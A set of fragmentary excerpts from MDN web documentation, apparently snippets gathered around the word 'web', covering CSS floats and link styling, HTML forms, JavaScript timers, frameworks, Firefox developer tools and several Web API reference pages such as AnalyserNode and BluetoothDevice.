web developers quickly realized that you can float anything, not just images, so the use of float broadened, for example to fun layout effects such as drop-caps. Floats have commonly been used to create entire
web site layouts featuring multiple columns of information floated so they sit alongside one another (the default behavior would be for the columns to sit below one another, in the same order as they appear in the source). There are newer, better layout techniques available and so use of floats in this way should be regarded as a legacy technique. In this article we'll just concentrate on the proper...
...0px; border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } Test your skills! You've reached the end of this article, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on -- see Test your skills: Floats. Summary You now know all there is to know about floats in modern
web development. See the article on legacy layout methods for information on how they used to be used, which may be useful if you find yourself working on older projects. Previous Overview: CSS layout Next In this module Introduction to CSS layout Normal flow Flexbox Grid Floats Positioning Multiple-column layout Responsive design Beginner's guide to media queries Legacy layout ...
Styling links - Learn web development
We set the path to the image we want to insert, specify no-repeat so we only get one copy inserted, and then specify the position as 100% of the way over to the right of the text content, and 0 pixels from the top. We also use background-size to specify the size we want the background image to be shown at -- it is useful to have a larger icon and then resize it like this as needed for responsive
web design purposes. This does however only work with IE 9 and later, so if you need to support those older browsers, you'll just have to resize the image and insert it as is. Finally, we set some padding-right on the links to make space for the background image to appear in, so we aren't overlapping it with the text. A final word -- how did we select just external links? Well, if you are writing y...
...ing section above and trying this new technique out! Note: The href values look strange -- we've used dummy links here that don't really go anywhere. The reason for this is that if we used real links, you would be able to load an external site in the <iframe> the live example is embedded in, thereby losing the example. Note: Don't worry if you are not familiar with backgrounds and responsive
web design yet; these are explained in other places. Styling links as buttons The tools you've explored so far in this article can also be used in other ways. For example, states like hover can be used to style many different elements, not just links -- you might want to style the hover state of paragraphs, list items, or other things. In addition, links are quite commonly styled to look and beha...
...es. Styling links as buttons The tools you've explored so far in this article can also be used in other ways. For example, states like hover can be used to style many different elements, not just links -- you might want to style the hover state of paragraphs, list items, or other things. In addition, links are quite commonly styled to look and behave like buttons in certain circumstances -- a
website navigation menu is usually marked up as a list containing links, and this can be easily styled to look like a set of control buttons or tabs that provide the user with access to other parts of the site. Let's explore how. First, some HTML: <ul> <li><a href="#">Home</a></li><li><a href="#">Pizza</a></li><li><a href="#">Music</a></li><li><a href="#">Wombats</a></li><li><a href="#">Finland</...
...mation at the end of the module -- see Typesetting a community school homepage. This assessment tests all the knowledge discussed in this module, so you might want to read the next article before moving on to it. Summary We hope this article has provided you with all you'll need to know about links -- for now! The final article in our Styling text module details how to use custom fonts on your
websites, or
web fonts as they are better known. Previous Overview: Styling text Next In this module Fundamental text and font styling Styling lists Styling links
Web fonts Typesetting a community school homepage ...
Basic native form controls - Learn web development
Prerequisites: Basic computer literacy, and a basic understanding of HTML. ...
...orm controls and common structural elements, and focusing on accessibility best practices. Next we will look at the functionality of the different form controls, or widgets, in detail -- studying all the different options available to collect different types of data. In this particular article we will look at the original set of form controls, available in all browsers since the early days of the
web. Prerequisites: Basic computer literacy, and a basic understanding of HTML. Objective: To understand in detail the original set of native form widgets available in browsers for collecting data, and how to implement them using HTML. You've already met some form elements, including <form>, <fieldset>, <legend>, <textarea>, <label>, <button>, and <input>. This article...
... on -- see Test your skills: Basic controls. Summary This article has covered the older input types -- the original set introduced in the early days of HTML that is well supported in all browsers. In the next section, we'll take a look at the newer values of the type attribute that were added in HTML5. ...
...input types -- the original set introduced in the early days of HTML that is well supported in all browsers. In the next section, we'll take a look at the newer values of the type attribute that were added in HTML5. ...
HTML forms in legacy browsers - Learn web development
Our worst curse is legacy browsers. Okay, let's admit it, when we said "legacy browser" we all have in mind Safari or old versions of Internet Explorer, but they are far from the only ones. In the mobile world, when neither the browser nor the OS can be updated such as on older Android phones or iPhones, the stock browsers that don't update are also legacy browsers. Dealing with this wilderness is part of the job. Fortunately, there are a few tricks to know that can help you to solve most of the problems caused by legacy browsers. And HTML5 <input> types don't fail when not supported: they fall back to type=text. ...
...don't fail when not supported: they fall back to type=text. Learn about the issues To understand common patterns, it helps to read browser documentation. If you are reading this on MDN, you are at the right place to start. Just check the support of the elements (or DOM interface) you want to use. MDN has compatibility tables available for most elements, properties and APIs that can be used in a
web page. There are other resources that can be amazingly helpful: Browser vendor documentation Mozilla: You're in the right place, just browse MDN Microsoft: Internet Explorer Standards Support Documentation
WebKit: Because there are several different editions of this engine, things are a little trickier. The
WebKit blog and Planet
WebKit aggregate the best articles by
WebKit core develo...
...documentation Mozilla: You're in the right place, just browse MDN Microsoft: Internet Explorer Standards Support Documentation
WebKit: Because there are several different editions of this engine, things are a little trickier. The
WebKit blog and Planet
WebKit aggregate the best articles by
WebKit core developers. Chrome platform status site is also important. As well as the Apple
web site. Make things simple Because HTML forms involves complex interaction, there is one rule of thumb: keep it simple, also known as the "KISS principal". There are so many cases where we want forms that are "nicer" or "with advanced functionality", but building efficient HTML Forms is not a question of design or technology. Rather, it's about simplicity, intuitivess, and ease of user inte...
...thumb: keep it simple, also known as the "KISS principal". There are so many cases where we want forms that are "nicer" or "with advanced functionality", but building efficient HTML Forms is not a question of design or technology. Rather, it's about simplicity, intuitivess, and ease of user interaction. The tutorial, forms usability on UX For The Masses, explains it well. Graceful degradation is
web developer's best friend Graceful degradation and progressive enhancement are development patterns that allow you to build great stuff by supporting a wide range of browsers at the same time. When you build something for a modern browser, and you want to be sure it will work, one way or another, on legacy browsers, you are performing graceful degradation. Let's see some examples related to HTML ...
Define terms with HTML - Learn web development
en you need a term defined, you probably go straight to a dictionary or glossary. Dictionaries and glossaries formally associate keywords with one or more descriptions, as in this case: Blue (Adjective) Of a color like the sky in a sunny day. The clear blue sky Of a subtle sadness, melancholy. I'm feeling blue But we're constantly defining keywords informally, as here: Firefox is the
web browser created by the Mozilla Foundation. To deal with these use cases, HTML provides tags to mark descriptions and words described, so that your meaning gets across properly to your readers. How to mark informal description In textbooks, the first time a keyword occurs, it's common to put the keyword in bold and define it right away. We do that in HTML too, except HTML is not a visual medi...
..., it's common to put the keyword in bold and define it right away. We do that in HTML too, except HTML is not a visual medium and so we don't use bold. We use <dfn>, which is a special element just for marking the first occurrence of keywords. Note that <dfn> tags go around the word to be defined, not the definition (the definition consists of the entire paragraph): <p><dfn>Firefox</dfn> is the
web browser created by the Mozilla Foundation.</p> Another use for bold is to emphasize content. Bold itself is a concept foreign to HTML, but there are tags for indicating emphasis. Special case: Abbreviations It's best to mark abbreviations specially with <abbr>, so that screen readers read them appropriately and so that you can operate on all abbreviations uniformly. Just as with any new key...
... Abbreviations It's best to mark abbreviations specially with <abbr>, so that screen readers read them appropriately and so that you can operate on all abbreviations uniformly. Just as with any new keyword, you should define your abbreviations the first time they occur. <p> <dfn><abbr>HTML</abbr> (hypertext markup language)</dfn> is a description language used to structure documents on the
web. </p> The HTML spec does indeed set aside the title attribute for expanding the abbreviation. However, this is not an acceptable alternative for providing an inline expansion. The contents of title are completely hidden from your users, unless they're using a mouse and they happen to hover over the abbreviation. The spec duly acknowledges this as well. Improve accessibility <dfn> marks the k...
...eyword. In other words, there's an implicit relationship between the <dfn> element and its container. If you want a more formal relationship, or your definition consists of only one sentence rather than the whole paragraph, you can use the aria-describedby attribute to associate a term more formally with its definition: <p> <span id="ff"> <dfn aria-describedby="ff">Firefox</dfn> is the
web browser created by the Mozilla Foundation. </span> You can download it at <a href="http://www.mozilla.org">mozilla.org</a> </p> Assistive technology can often use this attribute to find a text alternative to a given term. You can use aria-describedby on any tag enclosing a keyword to be defined (not just the <dfn> element). aria-describedby references the id of the element containing the des...
Debugging HTML - Learn web development
L itself doesn't suffer from syntax errors because browsers parse it permissively, meaning that the page still displays even if there are syntax errors. Browsers have built-in rules to state how to interpret incorrectly written markup, so you'll get something running, even if it is not what you expected. This, of course, can still be a problem! Note: HTML is parsed permissively because when the
web was first created, it was decided that allowing people to get their content published was more important than making sure the syntax was absolutely correct. The
web would probably not be as popular as it is today, if it had been more strict from the very beginning. Active learning: Studying permissive code It's time to study the permissive nature of HTML code. First, download our debug-exam...
... Active learning: Validating an HTML document Let's try this with our sample document. First, load the Markup Validation Service...
...ut how? In a small example like the one seen above, it is easy to search through the lines and find the errors, but what about a huge, complex HTML document? The best strategy is to start by running your HTML page through the Markup Validation Service -- created and maintained by the W3C, the organization that looks after the specifications that define HTML, CSS, and other
web technologies. This
webpage takes an HTML document as an input, goes through it, and gives you a report to tell you what is wrong with your HTML. To specify the HTML to validate, you can provide a
web address, upload an HTML file, or directly input some HTML code. Active learning: Validating an HTML document Let's try this with our sample document. First, load the Markup Validation Service in one browser tab, if...
...areer. ...
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
s elapsed, or at a regular interval (e.g. a set number of times per second), discusses what they are useful for, and considers their inherent issues. Prerequisites: Basic computer literacy, a reasonable understanding of JavaScript fundamentals. Objective: To understand asynchronous loops and intervals and what they are useful for. Introduction For a long time, the
web platform has offered JavaScript programmers a number of functions that allow them to asynchronously execute code after a certain time interval has elapsed, and to repeatedly execute a block of code asynchronously until you tell it to stop. These functions are: setTimeout() Execute a specified block of code once after a specified time has elapsed. setInterval() Execute a specified block of ...
...pending on how processor-intensive these operations are, they can delay your async code even further, as any async code will execute only after the main thread is available. (In other words, when the stack is empty.) You will learn more on this matter as you progress through this article. In any case, these functions are used for running constant animations and other background processing on a
web site or application. In the following sections we will show you how they can be used. setTimeout() As we said before, setTimeout() executes a particular block of code once after a specified time has elapsed. It takes the following parameters: A function to run, or a reference to a function defined elsewhere. A number representing the time interval in milliseconds (1000 miliseconds equals 1 ...
...the code is calling requestAnimationFrame() recursively. Note: If you want to perform some kind of simple constant DOM animation, CSS Animations are probably faster. They are calculated directly by the browser's internal code, rather than JavaScript. If, however, you are doing something more complex and involving objects that are not directly accessible inside the DOM (such as 2D Canvas API or
WebGL objects), requestAnimationFrame() is the better option in most cases. How fast does your animation run? The smoothness of your animation is directly dependent on your animation's frame rate and it is measured in frames per second (fps). The higher this number is, the smoother your animation will look, to a point. Since most screens have a refresh rate of 60Hz, the fastest frame rate you can...
... in most cases. How fast does your animation run? The smoothness of your animation is directly dependent on your animation's frame rate and it is measured in frames per second (fps). The higher this number is, the smoother your animation will look, to a point. Since most screens have a refresh rate of 60Hz, the fastest frame rate you can aim for is 60 frames per second (FPS) when working with
web browsers. However, more frames means more processing, which can often cause stuttering and skipping -- also known as dropping frames, or jank. If you have a monitor with a 60Hz refresh rate and you want to achieve 60 FPS you have about 16.7 milliseconds (1000 / 60) to execute your animation code to render each frame. This is a reminder that you'll need to be mindful of the amount of code that yo...
Solve common problems in your JavaScript code - Learn web development
unded by curly braces, member names must be separated from their values using colons, and members must be separated by commas. ...
...to see which one is bigger, or to see if one value is equal to another). Strings How do you create a string in JavaScript? Do you have to use single quotes or double ...
...JSON How do you structure JSON data, and read it from JavaScript? How can you load a JSON file into a page? How do you convert a JSON object to a text string, and back again? Events What are event handlers and how do you use them? What are inline event handlers? What does the addEventListener() function do, and how do you use it? Which mechanism should I use to add event code to my
web pages? What are event objects, and how do you use them? How do you prevent default event behaviour? How do events fire on nested elements? (event propagation, also related -- event bubbling and capturing) What is event delegation, and how does it work? Object-oriented JavaScript What are object prototypes? What is the constructor property, and how can you use it? How do you add methods...
...adding or removing elements) using JavaScript? ...
Framework main features - Learn web development
fer a way to describe the external properties they may need, the internal state that the component should manage, and the events a user can trigger on the component's markup. The code snippets in the rest of this section will use React as an example, and are written with JSX. Properties Properties, or props, are external data that a component needs in order to render. Suppose you're building a
website for an online magazine, and you need to be sure that each contributing writer gets credit for their work. You might create an AuthorCredit component to go with each article. This component needs to display a portrait of the author and a short byline about them. In order to know what image to render, and what byline to print, AuthorCredit needs accept some props. A React representation of thi...
...xact mechanism will differ between frameworks, but the end result is the same. Components tend to import components into other components using the standard JavaScript module syntax, or at least something similar. Components in components One key benefit of component-based UI architecture is that components can be composed together. Just like you can write HTML tags inside each other to build a
website, you can use components inside other components to build a
web application. Each framework allows you to write components that utilize (and thus depend on) other components. For example, our AuthorCredit React component might be utilized inside an Article component. That means that Article would need to import AuthorCredit. import AuthorCredit from "./components/AuthorCredit"; Once that's ...
... incremental DOM. You can read more about the Incremental DOM on the Auth0 blog. The Glimmer VM is unique to Ember. It is not a virtual DOM nor an incremental DOM; it is a separate process through which Ember's templates are transpiled into a kind of "byte code" that is easier and faster to read than JavaScript. ...
...Each framework's ecosystem provides tooling that facilitates the writing of tests. Testing tools are not built into the frameworks themselves, but the command-line interface tools used to generate framework apps give you access to the appropriate testing tools. ...
TypeScript support in Svelte - Learn web development
We also had a look at using the transition directive to implement animations on DOM elements in Svelte. We will now learn how to use TypeScript in Svelte applications. First we'll learn what TypeScript is and what benefits it can bring us. Then we'll see how to configure our project to work with TypeScript files. ...
...he file to stores.ts. Set the type of our initialTodos array to TodoType[]. This is how the contents will end up: // stores.ts import { writable } from 'svelte/store' import { localStore } from './localStore.js' import type { TodoType } from './types/todo.type' export const alert = writable('Welcome to the To-Do list app!') const initialTodos: TodoType[] = [ { id: 1, name: 'Visit MDN
web docs', completed: true }, { id: 2, name: 'Complete the Svelte Tutorial', completed: false }, ] export const todos = localStore('mdn-svelte-todo', initialTodos) Remember to update the import statements in App.svelte, Alert.svelte, and Todos.svelte. Just remove the .js extension, like this: import { todos } from '../stores' Now onto localStore.js. Update the import statement in sto...
...svelte. Just remove the .js extension, like this: import { todos } from '../stores' Now onto localStore.js. Update the import statement in stores.ts, like so: import { localStore } from './localStore' Start by renaming the file to localStore.ts. TypeScript is telling us to specify the type of the key, initial, and value variables. The first one is easy -- the key of our local
web storage should be a string. But initial and value should be any object that could be converted to a valid JSON string with the JSON.stringify method. So it is in fact any JavaScript object with a couple limitations, for example undefined, functions, and symbols are not valid JSON values. So we'll create the type JsonValue to specify these conditions. Create the file json.type.ts in the t...
... The code so far Git To see the state of the code as it should be at the end of this article, access your copy of our repo like this: cd mdn-svelte-tutorial/08-next...
Understanding client-side JavaScript frameworks - Learn web development
Many modern companies use frameworks as a standard part of their tooling, so many front-end development jobs now require framework experience. As an aspiring front-end developer, it can be hard to work out where to begin when learning frameworks -- there are so many different frameworks to choose from, new ones appear all the time, they mostly work in a similar way but do some things differently, and there are some specific things to be careful about when using frameworks. ...
... implementations of these features differ? How do they relate to "vanilla" JavaScript or HTML? After that, we'll provide some tutorials covering the essentials of some of the different framework choices, to provide you with enough context and familiarity to start going into greater depth yourself. We want you to go forward and learn about frameworks in a pragmatic way that doesn't forget about
web platform fundamental best practices such as accessibility. Get started now, with "Introduction to client-side frameworks" Prerequisites You should really learn the basics of the core
web languages first before attempting to move on to learning client-side frameworks -- HTML, CSS, and especially JavaScript. Your code will be richer and more professional as a result, and you'll be able to troub...
... Get started Introductory guides 1. ...
... Get started Introductory guides 1. ...
nsIWebBrowserFindInFrames
Attributes Attribute Type Description currentSearchFrame nsIDOMWindow Frame at which to start the search. Once the search is done, this will be set to be the last frame searched, whether or not a result was found. Has to be equal to or contained within the rootSearchFrame. rootSearchFrame nsIDOMWindow Frame within which to confine the search (normally the content area frame). Set this to only search a subtree of the frame hierarchy. ...
...thin the rootSearchFrame. rootSearchFrame nsIDOMWindow Frame within which to confine the search (normally the content area frame). Set this to only search a subtree of the frame hierarchy. ...
... of the frame hierarchy. searchParentFrames boolean Whether to allow the search to propagate out of the currentSearchFrame into its parent frame(s). Search is always confined within the rootSearchFrame. Default is true. ...
... the search to propagate out of the currentSearchFrame into its parent frame(s). Search is always confined within the rootSearchFrame. Default is true. Setting nsI
WebBrowserfind.searchFrames to true sets this to true. ...
Inspecting web sockets - Firefox Developer Tools
Since Firefox 71, the Network Monitor has had the ability to inspect
web socket connections. This article explores what functionality the
Web Socket Inspector makes available. Accessing the inspector When you are inspecting a
web app that utilizes a
web socket connection, the
web socket requests are listed in the list of requests in the Network Monitor along with all other requests. You can use the WS button to filter the list for just
web socket connections. Only requests with the 101 status code (
WebSocket Protocol Handshake) are visible, which indicates that the server is switching to a
web socket connection. Clicking on a
web socket request opens the usual sidebar to reveal additional details. ...
...k Monitor along with all other requests. You can use the WS button to filter the list for just
web socket connections. Only requests with the 101 status code (
WebSocket Protocol Handshake) are visible, which indicates that the server is switching to a
web socket connection. Clicking on a
web socket request opens the usual sidebar to reveal additional details. Choose the Reponse tab to inspect
web socket frames sent and received through the selected connection. The live-updated table shows data for sent (green arrow) and received (red arrow) frames. Each frame expands on click, so you can inspect the formatted data. Pausing
web socket traffic You can use the pause/resume button in the Network Monitor toolbar to stop intercepting
web socket traffic. This allows you to capture only the ...
...ected connection. The live-updated table shows data for sent (green arrow) and received (red arrow) frames. Each frame expands on click, so you can inspect the formatted data. Pausing
web socket traffic You can use the pause/resume button in the Network Monitor toolbar to stop intercepting
web socket traffic. This allows you to capture only the frames that you are interested in. Filtering
web socket frames To focus on specific messages, frames can be filtered using the filter at the top of the Messages panel. There are also predefined filters, available in the tool bar of the Response pane, grouped into a selection list. The following filters are available: All Displays all messages (by default, except control messages). Sent Displays only messages sent by the browser (by...
...by default, but you can customize the interface to see more columns by choosing which ones to show from the context menu that is opened by right-clicking in the table header. Expanding each message Selecting a message in the list shows a preview of the data being sent in that message, at the bottom of the Response pane. Supported WS protocols The inspector currently supports the following
web socket protocols: Plain JSON Socket.IO SockJS SignalR WAMP The payload based on those protocols is parsed and displayed as an expandable tree for easy inspection, although you can of course still see the raw data (as sent over the wire) as well. ...
Web Audio Editor - Firefox Developer Tools
Notice: This tool has been deprecated and will soon be removed from Firefox. For details, see Deprecated tools. With the
Web Audio API, developers create an audio context. Within that context they then construct a number of audio nodes, including: nodes providing the audio source, such as an oscillator or a data buffer source nodes performing transformations such as delay and gain nodes representing the destination of the audio stream, such as the speakers Each node has zero or more AudioParam properties that configure its operation. For example, the GainNode has a single gain property, while the OscillatorNode has frequency and detune properties. ...
...and gain nodes representing the destination of the audio stream, such as the speakers Each node has zero or more AudioParam properties that configure its operation. For example, the GainNode has a single gain property, while the OscillatorNode has frequency and detune properties. The developer connects the nodes in a graph, and the complete graph defines the behavior of the audio stream. The
Web Audio Editor examines an audio context constructed in the page and provides a visualization of its graph. This gives you a high-level view of its operation, and enables you to ensure that all the nodes are connected in the way you expect. You can then examine and edit the AudioParam properties for each node in the graph. Some non-AudioParam properties, like an OscillatorNode's type property, are ...
...e AudioParam properties for each node in the graph. Some non-AudioParam properties, like an OscillatorNode's type property, are displayed, and you can edit these as well. This tool is still experimental. If you find bugs, we'd love it if you filed them in Bugzilla. If you have feedback or suggestions for new features, dev-developer-tools or Twitter are great places to register them. Opening the
Web Audio Editor The
Web Audio Editor is not enabled by default in Firefox 32. To enable it, open the Developer Tool Settings and check "
Web Audio". Now there should be an extra tab in the Toolbox toolbar labeled "
Web Audio". Click the tab and load a page that constructs an audio context. Two good demos are: the Voice-change-O-Matic, which can apply various effects to the microphone input and als...
...Here's the graph for the Violent Theremin demo: You can see that it uses three nodes: an OscillatorNode as the source, a GainNode to control the volume, and an GainNode as the destination. Connections to AudioParams Displaying connections to AudioParams is new in Firefox 34. ...
AnalyserNode.AnalyserNode() - Web APIs
Syntax var analyserNode = new AnalyserNode(context, ?options); Parameters Inherits parameters from the AudioNodeOptions dictionary. context A reference to an AudioContext or OfflineAudioContext. options Optional fftSize: The desired initial size of the FFT for frequency-domain analysis. The default is 2048. maxDecibels: The desired initial maximum power in dB for FFT analysis. The default is -30. minDecibels: The desired initial minimum power in dB for FFT analysis. The default is -100. smoothingTimeConstant: The desired initial smoothing constant for the FFT analysis. The default is 0.8. ...
...d initial maximum power in dB for FFT analysis. The default is -30. minDecibels: The desired initial minimum power in dB for FFT analysis. The default is -100. smoothingTimeConstant: The desired initial smoothing constant for the FFT analysis. The default is 0.8. Return value A new AnalyserNode object instance. Specifications Specification Status Comment
Web Audio APIThe definition of 'AnalyserNode() constructor' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet Explorer...
...ition of 'AnalyserNode() constructor' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...uctorChrome Full support 55Edge Full support <=79Firefox Full support 53IE No support NoOpera Full support 42Safari Full support 6
WebView Android Full support 55Chrome Android Full support 55Firefox Android Full support 53Opera Android Full support 42Safari iOS Full support 6Samsung Internet Android ...
Animation - Web APIs
Constructor Animation() Creates a new Animation object instance. Properties Animation.currentTime The current time value of the animation in milliseconds, whether running or paused. If the animation lacks a timeline, is inactive or hasn't been played yet, its value is null. Animation.effect Gets and sets the AnimationEffectReadOnly associated with this animation. This will usually be a KeyframeEffect object. Animation.finished Read only Returns the current finished Promise for this animation. Animation.id Gets and sets the String used to identify the animation. ...
...ate() Sets the speed of an animation after first synchronizing its playback position. Automatically removing filling animations It is possible to trigger a large number of animations on the same element. If they are indefinite (i.e., forwards-filling), this can result in a huge animations list, which could create a memory leak. For this reason, modern browsers have implemented the part of the
Web Animations spec that automatically removes overriding forward filling animations, unless the developer explicitly specifies to keep them. You can see this in action in our simple replace indefinite animations demo. The related JavaScript features are: animation.commitStyles() for commiting the end styling state of an animation to the element being animated, even after that animation has been ...
...activity Disorder (ADHD). Additionally, certain kinds of motion can be a trigger for Vestibular disorders, epilepsy, and migraine, and Scotopic sensitivity. Consider providing a mechanism for pausing or disabling animation, as well as using the Reduced Motion Media Query to create a complimentary experience for users who have expressed a preference for no animated experiences. ...
...nsider providing a mechanism for pausing or disabling animation, as well as using the Reduced Motion Media Query to create a complimentary experience for users who have expressed a preference for no animated experiences. Designing Safer
Web Animation For Motion Sensitivity . An A List Apart Article An Introduction to the Reduced Motion Media Query | CSS-Tricks Responsive Design for Motion |
WebKit MDN Understanding WCAG, Guideline 2.2 explanations Understanding Success Criterion 2.2.2 | W3C Understanding WCAG 2.0 Specifications Specification Status Comment
Web AnimationsThe definition of 'Animation' in that specification. Working Draft Initial definition ...
AudioBuffer() - Web APIs
Syntax var audioBuffer = new AudioBuffer(options); Parameters Inherits parameters from the AudioNodeOptions dictionary. options Options are as follows: length: The size of the audio buffer in sample-frames. To determine the length to use for a specific number of seconds of audio, use numSeconds * sampleRate. numberOfChannels: The number of channels for the buffer. The default is 1, and all user agents are required to support at least 32 channels. sampleRate: The sample rate in Hz for the buffer. The default is the sample rate of the context used in constructing this object. ...
...Return value A new AudioBuffer object instance. Exceptions NotSupportedError One or more of the options are negative or otherwise has an invalid value (such as numberOfChannels being higher than supported, or a sampleRate outside the nominal range). RangeError There isn't enough memory available to allocate the buffer. Specifications Specification Status Comment
Web Audio APIThe definition of 'AudioBuffer' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndr...
...io APIThe definition of 'AudioBuffer' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... <=79Firefox Full support 53IE No support NoOpera Full support 42Notes Full support 42Notes Notes The context parameter was supported up until version 44, but has now been removed.Safari ? ...
Background Tasks API - Web APIs
The Cooperative Scheduling of Background Tasks API (also referred to as the Background Tasks API or simply the requestIdleCallback() API) provides the ability to queue tasks to be executed automatically by the user agent when it determines that there is free time to do so. Concepts and usage The main thread of a
Web browser is centered around its event loop. This code draws any pending updates to the Document currently being displayed, runs any JavaScript code the page needs to run, accepts events from input devices, and dispatches those events to the elements that should receive them. In addition, the event loop handles interactions with the operating system, updates to the browser's own user interface, and so forth. It's an extremely busy chunk of code, and your main JavaScript...
...side this thread along with all of this. Certainly most if not all code that is capable of making changes to the DOM is running in the main thread, since it's common for user interface changes to only be available to the main thread. Because event handling and screen updates are two of the most obvious ways users notice performance issues, it's important for your code to be a good citizen of the
Web and help to prevent stalls in the execution of the event loop. In the past, there's been no way to do this reliably other than by writing code that's as efficient as possible and by offloading as much work as possible to workers. Window.requestIdleCallback() makes it possible to become actively engaged in helping to ensure that the browser's event loop runs smoothly, by allowing the browser to te...
...ck will be run (unless you specify a timeout. There's no guarantee that every pass through the event loop (or even every screen update cycle) will include any idle callbacks being executed; if the event loop uses all available time, you're out of luck (again, unless you've used a timeout). Idle callbacks should do their best not to overrun the time allotted. While the browser, your code, and the
Web in general will continue to run normally if you go over the specified time limit (even if you go way over it), the time restriction is intended to ensure that you leave the system enough time to finish the current pass through the event loop and get on to the next one without causing other code to stutter or animation effects to lag. Currently, timeRemaining() has an upper limit of 50 millisecond...
...out what we're trying to accomplish, let's have a look at the HTML. This establishes a box (ID "Container") that's used to present the progress of an operation (because you never know how long decoding "quantum filament tachyon emissions" will take, after all) as well as a second main box (with the ID "logBox"), which is used to display textual output. <p> Demonstration of using <a href="/docs/
Web/API/Background_Tasks_API"> cooperatively scheduled background tasks</a> using the <code>requestIdleCallback()</code> method. </p> <div class="container"> <div class="label">Decoding quantum filament tachyon emissions...</div> <progress id="progress" value="0"></progress> <div class="button" id="startButton"> Start </div> <div class="label counter"> Task <span id="currentTas...
BeforeUnloadEvent - Web APIs
es a user gesture or user interaction. See Browser compatibility for more information. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/BeforeUnloadEvent" target="_top"><rect x="116" y="1" width="170" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="201" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">BeforeUnloadEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} ...
...An almost-cross-browser working example would be close to the below example. window.addEventListener("beforeunload", function (e) { var confirmationMessage = "\o/"; (e || window.event).returnValue = confirmationMessage; // Gecko + IE return confirmationMessage; /* Safari, Chrome, and other ...
.... An almost-cross-browser working example would be close to the below example. window.addEventListener("beforeunload", function (e) { var confirmationMessage = "\o/"; (e || window.event).returnValue = confirmationMessage; // Gecko + IE return confirmationMessage; /* Safari, Chrome, and other *
WebKit-derived browsers */ }); Specifications Specification Status Comment HTML Living StandardThe definition of 'BeforeUnloadEvent' in that specification. Living Standard Initial definition ...
BiquadFilterNode() - Web APIs
Syntax var biquadFilterNode = new BiquadFilterNode(context, options) Parameters Inherits parameters from the AudioNodeOptions dictionary. context A reference to an AudioContext. options Optional Options are as follows: type: One of "lowpass", "highpass", "bandpass", "lowshelf", "highshelf", "peaking", "notch", "allpass". The meaning of the other options depends on the value of this one. ...
...e transition at the center frequency. A larger value implies a sharper transition and a larger group delay. frequency: The frequency where the center of the phase transition occurs. Viewed another way, this is the frequency with maximal group delay. gain: Not used. Return value A new BiquadFilterNode object instance. Specifications Specification Status Comment
Web Audio APIThe definition of 'BiquadFilterNode()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafa...
...The definition of 'BiquadFilterNode()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... <=79Firefox Full support 53IE No support NoOpera Full support 42Notes Full support 42Notes Notes Before Opera 46, the default values were not supported.Safari ? ...
BluetoothDevice - Web APIs
The BluetoothDevice interface of the
Web Bluetooth API represents a Bluetooth device inside a particular script execution environment. ...
...ts a Bluetooth device inside a particular script execution environment. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/BluetoothDevice" target="_top"><rect x="151" y="1" width="150" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">BluetoothDevice</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Interface ...
... Draft Initial definition. ...
characteristic - Web APIs
The BluetoothRemoteGATTDescriptor.characteristic read-only property returns the BluetoothRemoteGATTCharacteristic this descriptor belongs to. Syntax var characteristic = BluetoothRemoteGATTCharacteristic.characteristic Returns An instance of BluetoothRemoteGATTCharacteristic. Specifications Specification Status Comment
Web BluetoothThe definition of 'characteristic' in that specification. Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOp...
...msung Internetcharacteristic ExperimentalChrome Full support 57Notes Full support 57Notes Notes macOS only. Full support 57Notes Disabled Notes Linux and versions of Windows earlier than 10.Disabled From version 57: this feature is behind the #enable-experimental-
web-platform-features preference (needs to be set to enabled). To change preferences in Chrome, visit chrome://flags. Full support 70Notes Notes Windows 10.Edge Full support <=79Notes Full support <=79Notes Notes macOS only. Full support ...
